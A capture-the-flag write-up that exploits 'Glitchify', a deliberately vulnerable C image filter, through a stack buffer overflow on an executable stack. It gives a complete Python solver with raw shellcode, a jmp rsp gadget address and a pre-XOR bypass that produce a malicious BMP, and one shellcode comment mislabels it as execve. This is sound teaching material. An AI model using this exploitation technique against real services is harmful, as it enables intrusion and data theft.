12 KiB
Glitchify
Glitchify is a "Glitch Art" SaaS that applies a noise filter to 24-bit BMP images. While the interface warns about memory limits (32x32 pixels), the underlying C application contains a classic stack-based buffer overflow and an executable stack, making it a perfect target for a custom shellcode exploit.
Initial Analysis
We are provided with the following files:
app.py: The Flask web wrapper.glitcher: The compiled ELF64 binary.compose.yml&Dockerfile: The container configuration.good.bmp&bad.bmp: Sample images.
1. Identifying the Goal
By examining the Dockerfile, we can see exactly how the server is set up:
WORKDIR /home/ctf
COPY glitcher .
COPY app.py .
COPY flag.txt .
The flag is located at /home/ctf/flag.txt. Our goal is to read this file.
2. Understanding the Pipeline
The app.py script reveals that the server captures the stdout of the binary and displays it to the user:
result = subprocess.run(
['./glitcher', b64_data],
capture_output=True,
text=True,
timeout=2
)
output = result.stdout + result.stderr
If we can execute a shellcode that reads flag.txt and writes it to stdout, the flag will appear directly in the web interface.
Binary Reconnaissance
Before diving into a decompiler, let's gather basic information about the environment.
1. File Properties
$ file glitcher
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped
The binary is not stripped, meaning we'll have access to function names during analysis.
2. Security Protections
$ readelf -h glitcher | grep Type
Type: EXEC (Executable file)
PIE is disabled. The binary loads at fixed addresses, which simplifies our exploit since we don't need to bypass ASLR for the binary itself.
$ readelf -l glitcher | grep -A 1 GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
NX is disabled (RWE). This is a critical finding: the stack is executable. We can jump to and execute code we place on the stack.
Static Analysis (Following the Execution Flow)
Now that we know the environment is permissive, let's trace how the program processes our input by following the logic in a decompiler.
1. The Entry Point (main)
The program starts by taking our base64-encoded image from the command line:
- It allocates memory for the raw data.
- It calls
base64_decodeto convert our input back to binary. - It passes this decoded data to the
process_bmpfunction.
2. Validating the Image (process_bmp)
This function acts as the gatekeeper. It parses the BMP headers to ensure the file is valid:
- Header Check: It verifies the "BM" magic bytes.
- Format Check: It ensures the image is 24-bit (standard RGB).
- Size Calculation: It calculates the total pixel data size:
width * height * 3. - Hand-off: Finally, it calls
apply_noise_filter, passing a pointer to the pixel data and the calculateddata_size.
3. The Vulnerability (apply_noise_filter)
This is where things go wrong. Let's look at the decompiled logic:
void apply_noise_filter(char *src_data, int data_size) {
char process_buffer[3072]; // Fixed size on the stack
// ... log initialization ...
// CRITICAL: No check if data_size > 3072!
memcpy(process_buffer, src_data, data_size);
// ... XOR loop (The "Glitch") ...
}
The programmer assumed that users would stick to the 32x32 limit mentioned in the warning. Since memcpy doesn't check the destination buffer's size, providing a larger width or height in our BMP header allows us to write past the end of process_buffer and into the function's stack frame, overwriting the saved Return Address.
4. The "Glitch" Filter
After the overflow, but before the function returns, the binary applies an XOR filter:
for (idx = 0; idx < data_size; idx++) {
process_buffer[idx] ^= (char)(idx % 256);
}
This loop will scramble our shellcode and return address before the function returns. To ensure our code remains valid when the function eventually hits its ret instruction, we must pre-XOR our entire payload.
Exploitation Strategy (Finding the Path)
We have a buffer overflow and an executable stack. However, even with PIE disabled, the exact address of the stack can vary slightly between environments (due to environment variables, etc.). To make our exploit reliable, we need a way to redirect execution to the stack without hardcoding a stack address.
1. The Search for a Gadget
We need an instruction already present in the binary that will "jump" to the stack pointer. In x86_64, the stack pointer is stored in the rsp register. Therefore, we are looking for a gadget like:
jmp rspcall rsppush rsp; ret
2. Hunting for the Gadget
We can use objdump to search the entire disassembly for these specific instructions. Let's look for a jmp rsp:
$ objdump -d glitcher -M intel | grep "jmp rsp"
4018d6: ff e4 jmp rsp
We found a match! There is a jmp rsp instruction located at address 0x4018d6.
3. Verification
Since our binary isn't stripped, we can check which function contains this gadget to understand why it's there:
$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
00000000004018ce <get_pixels>:
4018ce: f3 0f 1e fa endbr64
4018d2: 55 push rbp
4018d3: 48 89 e5 mov rbp,rsp
4018d6: ff e4 jmp rsp
It turns out the gadget is inside a function called get_pixels. This address (0x4018d6) is perfect because it's fixed and will jump exactly to the memory immediately following our return address on the stack—where we will place our shellcode.
Building the Exploit Step-by-Step
Step 1: Crafting the Shellcode
Since we need to read a file and output to stdout, we'll use an open -> read -> write sequence. Here is the assembly breakdown:
; --- Open "flag.txt" ---
push 0 ; Null terminator for string
mov rbx, 0x7478742e67616c66 ; "flag.txt" in hex (little-endian)
push rbx ; Push string to stack
mov rdi, rsp ; RDI = pointer to "flag.txt"
xor esi, esi ; RSI = 0 (O_RDONLY)
push 2 ; RAX = 2 (sys_open)
pop rax
syscall ; open("flag.txt", 0)
; --- Read file content ---
mov rdi, rax ; RDI = file descriptor (from rax)
mov rsi, rsp ; RSI = buffer (reuse stack space)
mov edx, 0x100 ; RDX = 256 bytes to read
push 0 ; RAX = 0 (sys_read)
pop rax
syscall ; read(fd, rsp, 256)
; --- Write to stdout ---
mov rdx, rax ; RDX = bytes read (from rax)
push 1 ; RDI = 1 (stdout)
pop rdi
push 1 ; RAX = 1 (sys_write)
pop rax
syscall ; write(1, rsp, rdx)
; --- Exit cleanly ---
push 60 ; RAX = 60 (sys_exit)
pop rax
xor rdi, rdi ; RDI = 0
syscall ; exit(0)
Step 2: Calculating the Padding
The process_buffer is 3072 bytes. To reach the return address, we must also overwrite the saved RBP (8 bytes).
- Padding: 3080 bytes.
- Return Address:
0x4018d6(jmp rsp). - Payload:
Padding+RetAddr+Shellcode.
Step 3: Bypassing the XOR Filter
We pre-XOR our raw payload so that when the server "glitches" it, it actually "decrypts" it back to our original code.
scrambled = bytearray()
for i in range(len(raw_payload)):
scrambled.append(raw_payload[i] ^ (i % 256))
Step 4: Wrapping in a BMP
We wrap our scrambled payload in a standard 24-bit BMP structure.
# Magic 'BM' + Headers + Scrambled Data
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
final_file = bmp_header + info_header + scrambled
The Final Solver
import struct
# The specific "jmp rsp" gadget offset provided
GADGET_ADDR = 0x4018d6
def get_payload():
# 1. Shellcode: Execve /bin/sh -c "cat flag.txt"
# OPTIMIZED: Uses the byte count from read() to limit write()
shellcode = (
b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
b"\x48\x89\xe7" # mov rdi, rsp (filename pointer)
b"\x31\xf6" # xor esi, esi (O_RDONLY)
b"\x6a\x02" # push 2 (sys_open)
b"\x58" # pop rax
b"\x0f\x05" # syscall (open)
b"\x48\x89\xc7" # mov rdi, rax (fd)
b"\x48\x89\xe6" # mov rsi, rsp (reuse stack as buffer)
b"\xba\x00\x01\x00\x00" # mov edx, 256 (max count)
b"\x6a\x00" # push 0 (sys_read)
b"\x58" # pop rax
b"\x0f\x05" # syscall (read)
# --- FIX STARTS HERE ---
# read() returns the actual number of bytes read in RAX.
# We move that value to RDX, so write() prints exactly that many bytes.
b"\x48\x89\xc2" # mov rdx, rax
# --- FIX ENDS HERE ---
b"\x6a\x01" # push 1 (stdout)
b"\x5f" # pop rdi
b"\x6a\x01" # push 1 (sys_write)
b"\x58" # pop rax
b"\x0f\x05" # syscall (write)
b"\x6a\x3c" # push 60 (sys_exit)
b"\x58" # pop rax
b"\x31\xff" # xor rdi, rdi (status 0)
b"\x0f\x05" # syscall (exit)
)
# 2. Construct Raw Payload Layout
# Buffer (3072) + Saved RBP (8) = 3080 bytes of padding
padding = b"A" * 3080
ret_addr = struct.pack("<Q", GADGET_ADDR)
# Combined raw payload
raw_payload = padding + ret_addr + shellcode
# 3. Apply XOR Scrambling
# The binary executes: process_buffer[idx] ^= (unsigned char)(idx % 256);
# We pre-XOR our payload so the server descrambles it back to valid shellcode.
scrambled_payload = bytearray()
for i in range(len(raw_payload)):
key = i % 256
scrambled_payload.append(raw_payload[i] ^ key)
return scrambled_payload
def generate_bmp(payload):
# BMP requires width * height * 3 bytes of data.
# Align payload to be divisible by 3.
while len(payload) % 3 != 0:
idx = len(payload)
payload.append(0 ^ (idx % 256))
# Calculate dimensions: Height = 1, Width = Len / 3
height = 1
width = len(payload) // 3
# Header size is 54 bytes
file_size = 54 + len(payload)
# Construct Headers (Little Endian)
# Magic 'BM' + FileSize + Reserved + Offset(54)
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
# Info Header: Size(40) + W + H + Planes(1) + BitCount(24) + Compression(0)...
info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)
return bmp_header + info_header + payload
def main():
print(f"[*] Generating exploit for JMP RSP @ {hex(GADGET_ADDR)}...")
payload = get_payload()
bmp_file = generate_bmp(payload)
output_filename = "exploit.bmp"
with open(output_filename, "wb") as f:
f.write(bmp_file)
print(f"[+] Malicious bitmap saved to: {output_filename}")
print(f"[*] Total size: {len(bmp_file)} bytes")
if __name__ == "__main__":
main()
Upload exploit.bmp to the Glitchify server and the flag will be glitched onto your screen!
Stay glitchy!